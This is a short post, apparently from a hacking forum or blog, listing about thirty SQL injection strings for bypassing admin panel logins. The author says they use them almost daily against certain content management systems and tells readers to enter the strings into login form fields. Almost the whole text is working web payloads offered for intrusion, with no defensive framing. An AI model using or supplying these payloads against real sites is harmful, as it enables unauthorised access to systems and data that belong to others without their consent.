Bypassing logins adminpanel

These are quite old, but still very useable these days, as I am still using this almost daily on certain CMS’es.

Cheat list:

') OR ('a' = 'a
') OR ('1'-'1
'or''='
' OR '1=1
admin'--
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 *
" or 0=0 *
or 0=0 *
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a
' or 1=1--
or a=a--
' or 1=1--
1' having '1'='1'--
' or 'x'='x--
foo'+OR+'1'='1

Simply use this on login forms (either both username or password, or a username, and a password like our injections above :) ).